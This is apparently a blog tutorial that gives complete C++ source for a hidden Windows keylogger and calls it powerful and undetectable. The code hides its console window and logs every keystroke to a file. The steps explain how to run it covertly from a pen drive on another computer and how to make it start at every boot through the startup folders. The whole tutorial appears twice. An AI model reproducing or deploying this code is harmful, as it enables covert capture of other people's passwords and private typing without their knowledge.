Hey guys,
Today in this tutorial I am going to show you how to create a powerful and undetectable key logger in c++ language.
Don't know what a key logger is??? There is some information for you:a computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information.
There is how to create a key logger :
.Tools required: Dev c++
The following code may show errors in other compilers.So you must use Dev c++.Installation process is so easy.
Step 1:After installing open dev c++ open it and press ctrl+n
step 2:Now copy the code below:
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;
void StealthMode();
void StartLogging();
int main(){
StealthMode();
StartLogging();
return 0;
}
void StartLogging(){
char c;
for(;;){
for(c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767){
ofstream write("Logger.txt", ios::app);
if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
{
c+=32;
write<<c;
write.close();
break;
}
else if((c>64)&&(c<91))
{
write<<c;
write.close();
break;
}
else {
switch (c)
{
case 48:
{
if(GetAsyncKeyState(0x10))
write<<")";
else
write<<"0";
}
break;
case 49:
{
if(GetAsyncKeyState(0x10))
write<<"!";
else
write<<"1";
}
break;
case 50:
{
if(GetAsyncKeyState(0x10))
write<<"@";
else
write<<"2";
}
break;
case 51:
{
if(GetAsyncKeyState(0x10))
write<<"#";
else
write<<"3";
}
break;
case 52:
{
if(GetAsyncKeyState(0x10))
write<<"$";
else
write<<"4";
}
break;
case 53:
{
if(GetAsyncKeyState(0x10))
write<<"%";
else
write<<"5";
}
break;
case 54:
{
if(GetAsyncKeyState(0x10))
write<<"^";
else
write<<"6";
}
break;
case 55:
{
if(GetAsyncKeyState(0x10))
write<<"&";
else
write<<"7";
}
break;
case 56:
{
if(GetAsyncKeyState(0x10))
write<<"*";
else
write<<"8";
}
break;
case 57:
{
if(GetAsyncKeyState(0x10))
write<<"(";
else
write<<"9";
}
break;
case VK_SPACE:
write<<" ";
break;
case VK_RETURN:
write<<"\n";
break;
case VK_TAB:
write<<" ";
break;
case VK_BACK:
write<<"<BACKSPACE>";
break;
case VK_DELETE:
write<<"<Del>";
break;
default:
write<<c;
}
}
}
}
}
}
void StealthMode(){
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
Step 3:After that save the file as keylogger.cpp and compile it.Then run the program.Then you will get the a .exe file named as keylogger.exe.
Step 4:To start the program just double click on keylogger.exe. Now it start to log every key strokes.The key strokes will be saved in a file called Logger.txt. The file will safe where you keep the keylogger.exe file.
Usage:For further use you have just to double click the keylogger.exe file.
Stop the programTo stop the program press shift+ctrl+esc. After that you can see something like this
Now select keylogger.exe and then click on End process.
Usage via pen-drive:You can use this keylogger via pen-drive. Store the exe file in the pen-drive hook it in another computer.Double click on the exe file.The programm will automatically run behind.The Logger.txt file will directly save on pendrive.
Now if you want the program start whenever computer turn on then follow the steps:
.Right click on the exe file and then click on "create shortcut".
.Then copy the exe shortcut and open "Computer".
.Then in the search bar type "startup".Then two startup folders will pop up on screen.
.Now just paste the exe shortcut file in the two startup folder.
Today in this tutorial I am going to show you how to create a powerful and undetectable key logger in c++ language.
Don't know what a key logger is??? There is some information for you:a computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information.
There is how to create a key logger :
.Tools required: Dev c++
The following code may show errors in other compilers.So you must use Dev c++.Installation process is so easy.
Step 1:After installing open dev c++ open it and press ctrl+n
step 2:Now copy the code below:
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;
void StealthMode();
void StartLogging();
int main(){
StealthMode();
StartLogging();
return 0;
}
void StartLogging(){
char c;
for(;;){
for(c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767){
ofstream write("Logger.txt", ios::app);
if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
{
c+=32;
write<<c;
write.close();
break;
}
else if((c>64)&&(c<91))
{
write<<c;
write.close();
break;
}
else {
switch (c)
{
case 48:
{
if(GetAsyncKeyState(0x10))
write<<")";
else
write<<"0";
}
break;
case 49:
{
if(GetAsyncKeyState(0x10))
write<<"!";
else
write<<"1";
}
break;
case 50:
{
if(GetAsyncKeyState(0x10))
write<<"@";
else
write<<"2";
}
break;
case 51:
{
if(GetAsyncKeyState(0x10))
write<<"#";
else
write<<"3";
}
break;
case 52:
{
if(GetAsyncKeyState(0x10))
write<<"$";
else
write<<"4";
}
break;
case 53:
{
if(GetAsyncKeyState(0x10))
write<<"%";
else
write<<"5";
}
break;
case 54:
{
if(GetAsyncKeyState(0x10))
write<<"^";
else
write<<"6";
}
break;
case 55:
{
if(GetAsyncKeyState(0x10))
write<<"&";
else
write<<"7";
}
break;
case 56:
{
if(GetAsyncKeyState(0x10))
write<<"*";
else
write<<"8";
}
break;
case 57:
{
if(GetAsyncKeyState(0x10))
write<<"(";
else
write<<"9";
}
break;
case VK_SPACE:
write<<" ";
break;
case VK_RETURN:
write<<"\n";
break;
case VK_TAB:
write<<" ";
break;
case VK_BACK:
write<<"<BACKSPACE>";
break;
case VK_DELETE:
write<<"<Del>";
break;
default:
write<<c;
}
}
}
}
}
}
void StealthMode(){
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
Step 3:After that save the file as keylogger.cpp and compile it.Then run the program.Then you will get the a .exe file named as keylogger.exe.
Step 4:To start the program just double click on keylogger.exe. Now it start to log every key strokes.The key strokes will be saved in a file called Logger.txt. The file will safe where you keep the keylogger.exe file.
Usage:For further use you have just to double click the keylogger.exe file.
Stop the programTo stop the program press shift+ctrl+esc. After that you can see something like this
Now select keylogger.exe and then click on End process.
Usage via pen-drive:You can use this keylogger via pen-drive. Store the exe file in the pen-drive hook it in another computer.Double click on the exe file.The programm will automatically run behind.The Logger.txt file will directly save on pendrive.
Now if you want the program start whenever computer turn on then follow the steps:
.Right click on the exe file and then click on "create shortcut".
.Then copy the exe shortcut and open "Computer".
.Then in the search bar type "startup".Then two startup folders will pop up on screen.
.Now just paste the exe shortcut file in the two startup folder.



No comments:
Post a Comment